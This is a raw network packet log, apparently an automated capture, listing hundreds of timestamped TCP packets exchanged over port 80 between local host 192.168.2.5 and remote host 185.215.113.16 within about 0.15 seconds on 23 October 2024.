Oct 23, 2024 15:48:19.192415953 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192434072 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192482948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192495108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192504883 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192534924 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192555904 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192558050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192569971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192579985 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192610979 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192784071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192795992 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192805052 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192837954 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192837954 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192859888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192869902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192878962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192894936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192907095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192913055 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192917109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192929029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192938089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192944050 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192949057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192961931 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192965984 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192985058 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.193012953 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.193115950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193126917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193136930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193146944 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193156958 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193165064 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.193200111 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.193206072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193218946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193229914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193239927 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193243980 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.193253040 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193264008 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.193289042 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193309069 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.193340063 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193351030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193383932 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.193522930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193535089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193543911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193553925 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193564892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193576097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193578005 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.193578005 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.193588972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.193599939 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.193629980 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.193639994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194392920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194436073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194441080 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.194447994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194485903 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.194526911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194538116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194547892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194556952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194578886 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.194610119 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.194679976 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194690943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194700003 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194710016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194720984 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194725037 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.194731951 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194746017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194755077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194766045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.194781065 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.194809914 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.194994926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195005894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195014000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195030928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195041895 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195044041 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.195051908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195063114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195067883 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.195074081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195086956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195097923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195105076 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.195110083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195122957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195132971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195137024 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.195154905 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.195193052 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.195364952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195408106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195419073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195456028 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.195539951 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195553064 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.195585012 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.237494946 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342300892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342319012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342339993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342359066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342369080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342386961 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342400074 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342411041 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342421055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342432022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342442036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342453957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342470884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342482090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342492104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342503071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342514038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342525959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342535973 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342545033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342546940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342546940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342546940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342546940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342546940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342546940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342546940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342556000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342567921 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342580080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342590094 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342590094 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342600107 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342603922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342617989 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342628002 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342628002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342643023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342653990 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342663050 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342691898 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342703104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342715979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342725992 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342737913 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342739105 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342751980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342761993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342763901 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342776060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342787027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342792034 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342798948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.342808008 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.342854023 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343010902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343023062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343039989 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343050957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343060017 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343061924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343075037 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343090057 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343094110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343106985 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343116045 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343118906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343130112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343141079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343147993 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343153000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343168974 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343169928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343185902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343198061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343199015 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343209982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343220949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343230009 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343234062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343245029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343247890 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343271017 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343307018 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343327045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343338966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343341112 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343354940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343369007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343380928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343389034 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343394041 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343405962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343409061 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343417883 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343436956 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343468904 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343471050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343482971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343493938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343506098 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343518019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343522072 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343548059 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343703032 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343717098 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343734026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343744993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343744993 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343758106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343770027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343774080 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343806982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343810081 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343821049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343832016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343843937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343847036 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343854904 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.343873024 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.343903065 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.344085932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344131947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344142914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344176054 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.344189882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344202042 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344228983 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.344409943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344428062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344455957 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.344489098 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344501019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344511986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344535112 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.344551086 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.344672918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344726086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344738960 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344768047 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.344815016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344858885 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.344861031 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344873905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344909906 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.344933033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344944954 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344954014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344965935 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344976902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.344975948 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.345014095 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.345469952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.345509052 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.345519066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.345520020 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.345541954 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.345554113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.345554113 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.345565081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.345592022 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.345710993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.345722914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.345733881 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.345756054 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.345771074 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.345782042 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.345782995 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.345793962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.345834017 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.346060038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346071005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346110106 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.346118927 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346129894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346141100 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346153021 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346158981 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.346178055 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.346400023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346412897 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346441031 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346450090 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.346451998 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346465111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346474886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346486092 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.346498966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346512079 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.346541882 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.346573114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346585035 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346599102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346610069 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346618891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346625090 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.346632957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346645117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346646070 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.346671104 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.346721888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346733093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346744061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346754074 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346760035 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.346791029 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.346931934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346950054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346962929 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346972942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346977949 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.346983910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.346995115 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347012997 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347039938 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347181082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347227097 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347255945 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347269058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.347310066 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.347321987 CEST	80	49713	185.215.113.16	192.168.2.5
